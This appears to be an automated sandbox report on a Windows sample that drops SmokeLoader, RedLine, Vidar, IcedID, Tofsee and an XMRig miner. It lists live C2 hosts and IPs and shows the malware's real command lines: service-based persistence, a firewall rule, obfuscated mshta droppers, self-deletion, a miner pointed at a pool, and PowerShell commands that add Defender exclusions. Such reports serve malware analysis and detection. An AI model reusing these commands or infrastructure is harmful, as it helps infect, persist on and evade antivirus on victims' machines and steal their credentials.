Analysis

  • max time kernel
    102s
  • max time network
    154s
  • platform
    windows10_x64
  • resource
    win10-en-20210920
  • submitted
    04-11-2021 06:11

General

  • Target

    049ce9d8fc5bf45e5340e0a4268cae2a.exe

  • Size

    138KB

  • MD5

    049ce9d8fc5bf45e5340e0a4268cae2a

  • SHA1

    72c5a2d14e1f31ffb01a32618976787e97813490

  • SHA256

    b83f231d2093b2cbfc14cb571d6e9b0afeca86bb0e0956c5db27204b9cfb864a

  • SHA512

    5dd32039f80f231fa09b33ff19de14cc02d5ac20a796d6194c6533d9df302634a3c5156132f1ce32b613724cc88aedfbd33d429d199abab24c7c13c6c18d68a1

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://honawey70.top/

http://wijibui00.top/

http://nusurtal4f.net/

http://netomishnetojuk.net/

http://escalivrouter.net/

http://nick22doom4.net/

http://wrioshtivsio.su/

http://nusotiso4.su/

http://rickkhtovkka.biz/

http://palisotoliso.net/

rc4.i32
rc4.i32
rc4.i32
rc4.i32

Extracted

Family

tofsee

C2

quadoil.ru

lakeflex.ru

Extracted

Family

redline

Botnet

SuperStar

C2

185.215.113.29:36224

Extracted

Family

icedid

Campaign

3072349713

C2

rifyyoure.ink

Extracted

Family

redline

Botnet

101

C2

185.92.73.142:52097

Extracted

Family

redline

Botnet

LOVE

C2

91.242.229.222:21475

Extracted

Family

vidar

Version

47.8

Botnet

706

C2

https://mas.to/@romashkin

Attributes
  • profile_id

    706

Extracted

Family

redline

Botnet

z0rm1on

C2

45.153.186.153:56675

Signatures

  • IcedID, BokBot

    IcedID is a banking trojan capable of stealing credentials.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 10 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • Windows security bypass 2 TTPs
  • suricata: ET MALWARE Known Sinkhole Response Header

    suricata: ET MALWARE Known Sinkhole Response Header

  • suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)

    suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)

  • suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload

    suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload

  • suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil

    suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil

  • suricata: ET MALWARE Win32/IcedID Request Cookie

    suricata: ET MALWARE Win32/IcedID Request Cookie

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Core1 .NET packer 1 IoCs

    Detects packer/loader used by .NET malware.

  • Nirsoft 12 IoCs
  • Vidar Stealer 2 IoCs
  • XMRig Miner Payload 3 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 14 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Loads dropped DLL 4 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses 2FA software files, possible credential harvesting 2 TTPs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 9 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Kills process with taskkill 2 IoCs
  • Modifies data under HKEY_USERS 12 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 55 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\049ce9d8fc5bf45e5340e0a4268cae2a.exe
    "C:\Users\Admin\AppData\Local\Temp\049ce9d8fc5bf45e5340e0a4268cae2a.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:4268
    • C:\Users\Admin\AppData\Local\Temp\049ce9d8fc5bf45e5340e0a4268cae2a.exe
      "C:\Users\Admin\AppData\Local\Temp\049ce9d8fc5bf45e5340e0a4268cae2a.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:4240
  • C:\Users\Admin\AppData\Local\Temp\904.exe
    C:\Users\Admin\AppData\Local\Temp\904.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:4500
    • C:\Users\Admin\AppData\Local\Temp\904.exe
      C:\Users\Admin\AppData\Local\Temp\904.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:3476
  • C:\Users\Admin\AppData\Local\Temp\CBF.exe
    C:\Users\Admin\AppData\Local\Temp\CBF.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:4476
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\cxcawkt\
      2⤵
        PID:604
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ohcoshs.exe" C:\Windows\SysWOW64\cxcawkt\
        2⤵
          PID:1016
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create cxcawkt binPath= "C:\Windows\SysWOW64\cxcawkt\ohcoshs.exe /d\"C:\Users\Admin\AppData\Local\Temp\CBF.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1356
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description cxcawkt "wifi internet conection"
            2⤵
              PID:1964
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start cxcawkt
              2⤵
                PID:2536
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:3784
              • C:\Users\Admin\AppData\Local\Temp\10E6.exe
                C:\Users\Admin\AppData\Local\Temp\10E6.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Checks SCSI registry key(s)
                • Suspicious behavior: MapViewOfSection
                PID:4548
              • C:\Users\Admin\AppData\Local\Temp\15C9.exe
                C:\Users\Admin\AppData\Local\Temp\15C9.exe
                1⤵
                • Executes dropped EXE
                PID:1152
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 1152 -s 480
                  2⤵
                  • Suspicious use of NtCreateProcessExOtherParentProcess
                  • Program crash
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1792
              • C:\Users\Admin\AppData\Local\Temp\1C52.exe
                C:\Users\Admin\AppData\Local\Temp\1C52.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:2840
                • C:\Users\Admin\AppData\Local\Temp\1C52.exe
                  C:\Users\Admin\AppData\Local\Temp\1C52.exe
                  2⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4148
              • C:\Windows\SysWOW64\cxcawkt\ohcoshs.exe
                C:\Windows\SysWOW64\cxcawkt\ohcoshs.exe /d"C:\Users\Admin\AppData\Local\Temp\CBF.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:4020
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  PID:4940
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3372
              • C:\Windows\system32\regsvr32.exe
                regsvr32 /s C:\Users\Admin\AppData\Local\Temp\2905.dll
                1⤵
                • Loads dropped DLL
                PID:1504
              • C:\Users\Admin\AppData\Local\Temp\2AAC.exe
                C:\Users\Admin\AppData\Local\Temp\2AAC.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of AdjustPrivilegeToken
                PID:4676
              • C:\Users\Admin\AppData\Local\Temp\3089.exe
                C:\Users\Admin\AppData\Local\Temp\3089.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of AdjustPrivilegeToken
                PID:4380
              • C:\Users\Admin\AppData\Local\Temp\F34D.exe
                C:\Users\Admin\AppData\Local\Temp\F34D.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Checks processor information in registry
                PID:2952
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c taskkill /im F34D.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\F34D.exe" & del C:\ProgramData\*.dll & exit
                  2⤵
                    PID:4504
                    • C:\Windows\SysWOW64\taskkill.exe
                      taskkill /im F34D.exe /f
                      3⤵
                      • Kills process with taskkill
                      • Suspicious use of AdjustPrivilegeToken
                      PID:4212
                    • C:\Windows\SysWOW64\timeout.exe
                      timeout /t 6
                      3⤵
                      • Delays execution with timeout.exe
                      PID:660
                • C:\Users\Admin\AppData\Local\Temp\A80.exe
                  C:\Users\Admin\AppData\Local\Temp\A80.exe
                  1⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2272
                • C:\Users\Admin\AppData\Local\Temp\2F00.exe
                  C:\Users\Admin\AppData\Local\Temp\2F00.exe
                  1⤵
                  • Executes dropped EXE
                  PID:3100
                  • C:\Windows\SysWOW64\mshta.exe
                    "C:\Windows\System32\mshta.exe" vBsCRipt: cLosE ( creAteObjEcT ( "wsCrIpT.ShEll" ). RUn ( "C:\Windows\system32\cmd.exe /q /c tyPe ""C:\Users\Admin\AppData\Local\Temp\2F00.exe"" > ..\I1UXQU.exe && STarT ..\I1UXqU.EXE -P3PZFXHgL5EFWq~tu7bw97 & If """" == """" for %d iN ( ""C:\Users\Admin\AppData\Local\Temp\2F00.exe"" ) do taskkill /f /im ""%~NXd"" " , 0 , tRue ) )
                    2⤵
                      PID:1572
                      • C:\Windows\SysWOW64\cmd.exe
                        "C:\Windows\system32\cmd.exe" /q /c tyPe "C:\Users\Admin\AppData\Local\Temp\2F00.exe" > ..\I1UXQU.exe && STarT ..\I1UXqU.EXE -P3PZFXHgL5EFWq~tu7bw97 & If "" == "" for %d iN ( "C:\Users\Admin\AppData\Local\Temp\2F00.exe" ) do taskkill /f /im "%~NXd"
                        3⤵
                          PID:1964
                          • C:\Users\Admin\AppData\Local\Temp\I1UXQU.exe
                            ..\I1UXqU.EXE -P3PZFXHgL5EFWq~tu7bw97
                            4⤵
                            • Executes dropped EXE
                            PID:3964
                            • C:\Windows\SysWOW64\mshta.exe
                              "C:\Windows\System32\mshta.exe" vBsCRipt: cLosE ( creAteObjEcT ( "wsCrIpT.ShEll" ). RUn ( "C:\Windows\system32\cmd.exe /q /c tyPe ""C:\Users\Admin\AppData\Local\Temp\I1UXQU.exe"" > ..\I1UXQU.exe && STarT ..\I1UXqU.EXE -P3PZFXHgL5EFWq~tu7bw97 & If ""-P3PZFXHgL5EFWq~tu7bw97 "" == """" for %d iN ( ""C:\Users\Admin\AppData\Local\Temp\I1UXQU.exe"" ) do taskkill /f /im ""%~NXd"" " , 0 , tRue ) )
                              5⤵
                                PID:2836
                                • C:\Windows\SysWOW64\cmd.exe
                                  "C:\Windows\system32\cmd.exe" /q /c tyPe "C:\Users\Admin\AppData\Local\Temp\I1UXQU.exe" > ..\I1UXQU.exe && STarT ..\I1UXqU.EXE -P3PZFXHgL5EFWq~tu7bw97 & If "-P3PZFXHgL5EFWq~tu7bw97 " == "" for %d iN ( "C:\Users\Admin\AppData\Local\Temp\I1UXQU.exe" ) do taskkill /f /im "%~NXd"
                                  6⤵
                                    PID:1300
                                • C:\Windows\SysWOW64\mshta.exe
                                  "C:\Windows\System32\mshta.exe" vbScriPt: ClosE ( CREaTEoBJeCT ( "WsCRipt.shelL" ). RUN ( "C:\Windows\system32\cmd.exe /c ECHo | SeT /P = ""MZ"" > KXHc.NM & cOPy /y /b KxhC.NM + JN7HGm.~X + r7xx.iO ..\q3lZ0.u2D & sTArT msiexec /Y ..\q3Lz0.U2D & DeL /q * " , 0 , TRUE ) )
                                  5⤵
                                    PID:2284
                                    • C:\Windows\SysWOW64\cmd.exe
                                      "C:\Windows\system32\cmd.exe" /c ECHo | SeT /P = "MZ" > KXHc.NM & cOPy /y /b KxhC.NM + JN7HGm.~X + r7xx.iO ..\q3lZ0.u2D & sTArT msiexec /Y ..\q3Lz0.U2D & DeL /q *
                                      6⤵
                                        PID:4888
                                        • C:\Windows\SysWOW64\cmd.exe
                                          C:\Windows\system32\cmd.exe /S /D /c" ECHo "
                                          7⤵
                                            PID:4668
                                          • C:\Windows\SysWOW64\cmd.exe
                                            C:\Windows\system32\cmd.exe /S /D /c" SeT /P = "MZ" 1>KXHc.NM"
                                            7⤵
                                              PID:4688
                                            • C:\Windows\SysWOW64\msiexec.exe
                                              msiexec /Y ..\q3Lz0.U2D
                                              7⤵
                                                PID:5104
                                        • C:\Windows\SysWOW64\taskkill.exe
                                          taskkill /f /im "2F00.exe"
                                          4⤵
                                          • Kills process with taskkill
                                          PID:4552
                                  • C:\Users\Admin\AppData\Local\Temp\46C0.exe
                                    C:\Users\Admin\AppData\Local\Temp\46C0.exe
                                    1⤵
                                      PID:5020
                                      • C:\Users\Admin\AppData\Local\Temp\a7df2513-20a7-4aa6-b8c2-384692f5da80\AdvancedRun.exe
                                        "C:\Users\Admin\AppData\Local\Temp\a7df2513-20a7-4aa6-b8c2-384692f5da80\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\a7df2513-20a7-4aa6-b8c2-384692f5da80\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
                                        2⤵
                                          PID:4600
                                          • C:\Users\Admin\AppData\Local\Temp\a7df2513-20a7-4aa6-b8c2-384692f5da80\AdvancedRun.exe
                                            "C:\Users\Admin\AppData\Local\Temp\a7df2513-20a7-4aa6-b8c2-384692f5da80\AdvancedRun.exe" /SpecialRun 4101d8 4600
                                            3⤵
                                              PID:4304
                                          • C:\Users\Admin\AppData\Local\Temp\0747c59d-0672-4e18-a470-ab5adb74b24d\AdvancedRun.exe
                                            "C:\Users\Admin\AppData\Local\Temp\0747c59d-0672-4e18-a470-ab5adb74b24d\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\0747c59d-0672-4e18-a470-ab5adb74b24d\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
                                            2⤵
                                              PID:2560
                                              • C:\Users\Admin\AppData\Local\Temp\0747c59d-0672-4e18-a470-ab5adb74b24d\AdvancedRun.exe
                                                "C:\Users\Admin\AppData\Local\Temp\0747c59d-0672-4e18-a470-ab5adb74b24d\AdvancedRun.exe" /SpecialRun 4101d8 2560
                                                3⤵
                                                  PID:2212
                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\46C0.exe" -Force
                                                2⤵
                                                  PID:1032
                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\46C0.exe" -Force
                                                  2⤵
                                                    PID:4364
                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\46C0.exe" -Force
                                                    2⤵
                                                      PID:1984
                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bag.exe" -Force
                                                      2⤵
                                                        PID:2092
                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bag.exe" -Force
                                                        2⤵
                                                          PID:756
                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\46C0.exe" -Force
                                                          2⤵
                                                            PID:4268
                                                          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bag.exe
                                                            "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bag.exe"
                                                            2⤵
                                                              PID:2752
                                                              • C:\Users\Admin\AppData\Local\Temp\7aed538b-116d-4cbc-8a41-f902099acacb\AdvancedRun.exe
                                                                "C:\Users\Admin\AppData\Local\Temp\7aed538b-116d-4cbc-8a41-f902099acacb\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\7aed538b-116d-4cbc-8a41-f902099acacb\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
                                                                3⤵
                                                                  PID:4664
                                                                  • C:\Users\Admin\AppData\Local\Temp\7aed538b-116d-4cbc-8a41-f902099acacb\AdvancedRun.exe
                                                                    "C:\Users\Admin\AppData\Local\Temp\7aed538b-116d-4cbc-8a41-f902099acacb\AdvancedRun.exe" /SpecialRun 4101d8 4664
                                                                    4⤵
                                                                      PID:964
                                                                  • C:\Users\Admin\AppData\Local\Temp\09c5ca68-8320-44cc-bb1e-a71aad582a6f\AdvancedRun.exe
                                                                    "C:\Users\Admin\AppData\Local\Temp\09c5ca68-8320-44cc-bb1e-a71aad582a6f\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\09c5ca68-8320-44cc-bb1e-a71aad582a6f\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
                                                                    3⤵
                                                                      PID:4348
                                                                      • C:\Users\Admin\AppData\Local\Temp\09c5ca68-8320-44cc-bb1e-a71aad582a6f\AdvancedRun.exe
                                                                        "C:\Users\Admin\AppData\Local\Temp\09c5ca68-8320-44cc-bb1e-a71aad582a6f\AdvancedRun.exe" /SpecialRun 4101d8 4348
                                                                        4⤵
                                                                          PID:2088
                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bag.exe" -Force
                                                                        3⤵
                                                                          PID:4504
                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bag.exe" -Force
                                                                          3⤵
                                                                            PID:4164
                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bag.exe" -Force
                                                                            3⤵
                                                                              PID:876
                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Public\Documents\fox\svchost.exe" -Force
                                                                              3⤵
                                                                                PID:3852
                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bag.exe" -Force
                                                                                3⤵
                                                                                  PID:3860
                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Public\Documents\fox\svchost.exe" -Force
                                                                                  3⤵
                                                                                    PID:2328
                                                                                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess.exe
                                                                                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess.exe"
                                                                                    3⤵
                                                                                      PID:1064
                                                                                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe
                                                                                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"
                                                                                      3⤵
                                                                                        PID:3672
                                                                                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe
                                                                                        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe"
                                                                                        3⤵
                                                                                          PID:4496
                                                                                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
                                                                                          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
                                                                                          3⤵
                                                                                            PID:4664
                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Public\Documents\fox\svchost.exe" -Force
                                                                                          2⤵
                                                                                            PID:2568
                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\46C0.exe" -Force
                                                                                            2⤵
                                                                                              PID:4324
                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Public\Documents\fox\svchost.exe" -Force
                                                                                              2⤵
                                                                                                PID:1872
                                                                                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
                                                                                                2⤵
                                                                                                  PID:1076

                                                                                              Network

                                                                                              MITRE ATT&CK Matrix ATT&CK v6

                                                                                              Persistence

                                                                                              New Service

                                                                                              1
                                                                                              T1050

                                                                                              Modify Existing Service

                                                                                              1
                                                                                              T1031

                                                                                              Registry Run Keys / Startup Folder

                                                                                              1
                                                                                              T1060

                                                                                              Privilege Escalation

                                                                                              New Service

                                                                                              1
                                                                                              T1050

                                                                                              Defense Evasion

                                                                                              Disabling Security Tools

                                                                                              1
                                                                                              T1089

                                                                                              Modify Registry

                                                                                              2
                                                                                              T1112

                                                                                              Credential Access

                                                                                              Credentials in Files

                                                                                              3
                                                                                              T1081

                                                                                              Discovery

                                                                                              Query Registry

                                                                                              3
                                                                                              T1012

                                                                                              System Information Discovery

                                                                                              3
                                                                                              T1082

                                                                                              Peripheral Device Discovery

                                                                                              1
                                                                                              T1120

                                                                                              Collection

                                                                                              Data from Local System

                                                                                              3
                                                                                              T1005

                                                                                              Replay Monitor

                                                                                              Loading Replay Monitor...

                                                                                              Downloads

                                                                                              • C:\ProgramData\freebl3.dll
                                                                                                MD5

                                                                                                ef2834ac4ee7d6724f255beaf527e635

                                                                                                SHA1

                                                                                                5be8c1e73a21b49f353c2ecfa4108e43a883cb7b

                                                                                                SHA256

                                                                                                a770ecba3b08bbabd0a567fc978e50615f8b346709f8eb3cfacf3faab24090ba

                                                                                                SHA512

                                                                                                c6ea0e4347cbd7ef5e80ae8c0afdca20ea23ac2bdd963361dfaf562a9aed58dcbc43f89dd826692a064d76c3f4b3e92361af7b79a6d16a75d9951591ae3544d2

                                                                                              • C:\ProgramData\mozglue.dll
                                                                                                MD5

                                                                                                8f73c08a9660691143661bf7332c3c27

                                                                                                SHA1

                                                                                                37fa65dd737c50fda710fdbde89e51374d0c204a

                                                                                                SHA256

                                                                                                3fe6b1c54b8cf28f571e0c5d6636b4069a8ab00b4f11dd842cfec00691d0c9cd

                                                                                                SHA512

                                                                                                0042ecf9b3571bb5eba2de893e8b2371df18f7c5a589f52ee66e4bfbaa15a5b8b7cc6a155792aaa8988528c27196896d5e82e1751c998bacea0d92395f66ad89

                                                                                              • C:\ProgramData\msvcp140.dll
                                                                                                MD5

                                                                                                109f0f02fd37c84bfc7508d4227d7ed5

                                                                                                SHA1

                                                                                                ef7420141bb15ac334d3964082361a460bfdb975

                                                                                                SHA256

                                                                                                334e69ac9367f708ce601a6f490ff227d6c20636da5222f148b25831d22e13d4

                                                                                                SHA512

                                                                                                46eb62b65817365c249b48863d894b4669e20fcb3992e747cd5c9fdd57968e1b2cf7418d1c9340a89865eadda362b8db51947eb4427412eb83b35994f932fd39

                                                                                              • C:\ProgramData\nss3.dll
                                                                                                MD5

                                                                                                bfac4e3c5908856ba17d41edcd455a51

                                                                                                SHA1

                                                                                                8eec7e888767aa9e4cca8ff246eb2aacb9170428

                                                                                                SHA256

                                                                                                e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

                                                                                                SHA512

                                                                                                2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

                                                                                              • C:\ProgramData\softokn3.dll
                                                                                                MD5

                                                                                                a2ee53de9167bf0d6c019303b7ca84e5

                                                                                                SHA1

                                                                                                2a3c737fa1157e8483815e98b666408a18c0db42

                                                                                                SHA256

                                                                                                43536adef2ddcc811c28d35fa6ce3031029a2424ad393989db36169ff2995083

                                                                                                SHA512

                                                                                                45b56432244f86321fa88fbcca6a0d2a2f7f4e0648c1d7d7b1866adc9daa5eddd9f6bb73662149f279c9ab60930dad1113c8337cb5e6ec9eed5048322f65f7d8

                                                                                              • C:\ProgramData\vcruntime140.dll
                                                                                                MD5

                                                                                                7587bf9cb4147022cd5681b015183046

                                                                                                SHA1

                                                                                                f2106306a8f6f0da5afb7fc765cfa0757ad5a628

                                                                                                SHA256

                                                                                                c40bb03199a2054dabfc7a8e01d6098e91de7193619effbd0f142a7bf031c14d

                                                                                                SHA512

                                                                                                0b63e4979846ceba1b1ed8470432ea6aa18cca66b5f5322d17b14bc0dfa4b2ee09ca300a016e16a01db5123e4e022820698f46d9bad1078bd24675b4b181e91f

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                                                                                                MD5

                                                                                                101343244d619fd29dc007b34351865b

                                                                                                SHA1

                                                                                                a721bf0ee99f24b3e6c263033cfa02a63d4175cc

                                                                                                SHA256

                                                                                                286038573287d04ce980461054d2377b71ab4eb8a37e466b38d120ad7f93a043

                                                                                                SHA512

                                                                                                1a40055b9e2186d142059ab12afc82a21767f9fbfe98345be40f67619d128fb261f6afef74b25ba52b8f80480bb86e06006047de1b9505d5a65f7d7ee3ce0209

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                                                                                                MD5

                                                                                                83c16d543a775786a787c052fb21253f

                                                                                                SHA1

                                                                                                9b61b9f2888cd99a3d526e72165c0faa88fe6eef

                                                                                                SHA256

                                                                                                3ece7fdc8a4fd8de29b9fd682392e1f8e8a7471d3e68e915b1ebeb54d1fe9abb

                                                                                                SHA512

                                                                                                9dd94baebd92772f293dbe20dee4e9d43d8424a51afdde2657ec5d909736dc643730df2f56c02f5298eb40828132bc5bb2e550c126c6ea361f80cea1ec5864d3

                                                                                              • C:\Users\Admin\AppData\Local\Temp\0747c59d-0672-4e18-a470-ab5adb74b24d\AdvancedRun.exe
                                                                                                MD5

                                                                                                17fc12902f4769af3a9271eb4e2dacce

                                                                                                SHA1

                                                                                                9a4a1581cc3971579574f837e110f3bd6d529dab

                                                                                                SHA256

